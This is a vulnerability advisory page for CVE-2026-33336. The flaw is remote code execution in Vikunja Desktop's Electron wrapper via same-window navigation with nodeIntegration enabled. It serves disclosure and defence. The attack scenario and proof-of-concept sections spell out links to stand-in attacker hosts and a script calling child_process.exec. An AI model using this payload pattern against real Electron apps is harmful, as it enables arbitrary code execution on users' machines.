CVE-2026-33336 json
Vikunja Desktop vulnerable to Remote Code Execution via same-window navigation
published 2026-03-24 7 mo ago modified 2026-06-17 4 mo ago also EUVD-2026-14911
- cvss
- 8.8
- version 3.1, NVD
- cisa kev
- Not listed
- not in CISA's catalog
- epss
- 1.2%
- EPSS 1.2% chance of exploitation in 30 days, percentile 67%
- public exploits
- 0
- none known
Summary
Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper enables `nodeIntegration` in the main BrowserWindow and does not restrict same-window navigations. An attacker who can place a link in user-generated content (task descriptions, comments, project descriptions) can cause the BrowserWindow to navigate to an attacker-controlled origin, where JavaScript executes with full Node.js access, resulting in arbitrary code execution on the victim's machine. Version 2.2.0 patches the issue.
## Root cause
Two misconfigurations combine to create this vulnerability:
1. **`nodeIntegration: true`** is set in `BrowserWindow` web preferences (`desktop/main.js:14-16`), giving any page loaded in the renderer full access to Node.js APIs (`require`, `child_process`, `fs`, etc.).
2. **No `will-navigate` or `will-redirect` handler** is registered on the `webContents`. The existing `setWindowOpenHandler` (`desktop/main.js:19-23`) only intercepts `window.open()` calls (new-window requests). It does **not** intercept same-window navigations triggered by: - `<a href="https://...">` links (without `target="_blank"`) - `window.location` assignments - HTTP redirects - `<meta http-equiv="refresh">` tags
## Attack scenario
1. The attacker is a normal user on the same Vikunja instance (e.g., a member of a shared project). 2. The attacker creates or edits a project description or task description containing a standard HTML link, e.g.: `<a href="https://evil.example/exploit">Click here for the updated design spec</a>` 3. The Vikunja frontend renders this link. DOMPurify sanitization correctly allows it -- it is a legitimate anchor tag, not a script injection. Render path example: `frontend/src/views/project/ProjectInfo.vue` uses `v-html` with DOMPurify-sanitized output. 4. The victim uses Vikunja Desktop and clicks the link. 5. Because no `will-navigate` handler exists, the BrowserWindow navigates to `https://evil.example/exploit` in the same renderer process. 6. The attacker's page now executes in a context with `nodeIntegration: true` and runs: `require('child_process').exec('id > /tmp/pwned');` 7. Arbitrary commands execute as the victim's OS user.
## Impact
Full remote code execution on the victim's desktop. The attacker can read/write arbitrary files, execute arbitrary commands, install malware or backdoors, and exfiltrate credentials and sensitive data. No XSS vulnerability is required -- a normal, sanitizer-approved hyperlink is sufficient.
## Proof of concept
1. Set up a Vikunja instance with two users sharing a project. 2. As the attacker user, edit a project description to include: `<a href="https://attacker.example/poc.html">Meeting notes</a>` 3. Host poc.html with: `<script>require('child_process').exec('calc.exe')</script>` 4. As the victim, open the project in Vikunja Desktop and click the link. 5. calc.exe (or any other command) executes on the victim's machine.
## Credits
This vulnerability was found using [GitHub Security Lab Taskflows](https://github.com/GitHubSecurityLab/seclab-taskflows).
Patch / fix
- vikunja vikunja 2.2.2
CISA SSVC
- Exploitation
- Proof of concept is public
- Automatable
- no
- Technical impact
- total
- Assessed
- 7 mo ago
Exploit prediction
1.16% chance of exploitation in the next 30 days, higher than 67% of all scored CVEs (FIRST EPSS, 2026-11-08).
Exploits and checks
- github.com https://github.com/go-vikunja/vikunja/security/advisories/GHSA-83w9-9jf6-88vf referenced PoC, tagged "exploit" by a source, unverified
CVSS scores
| assigned by | version | score | vector |
|---|---|---|---|
| CNA | 4.0 | 6.5 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H |
| CNA | 4.0 | 6.5 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X |
| NVD | 3.1 | 8.8 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
Affected products
- go-vikunja vikunja
Classification
- Weakness
-
- CWE-94 Improper Control of Generation of Code
References
-
github.com
/go-vikunja/vikunja/security/advisories/GHSA-83w9-9jf6-88vf
exploit, vendor-advisory
-
vikunja.io
/changelog/vikunja-v2.2.0-was-released
release-notes
Sources
- CVE List CVE-2026-33336
- NVD CVE-2026-33336
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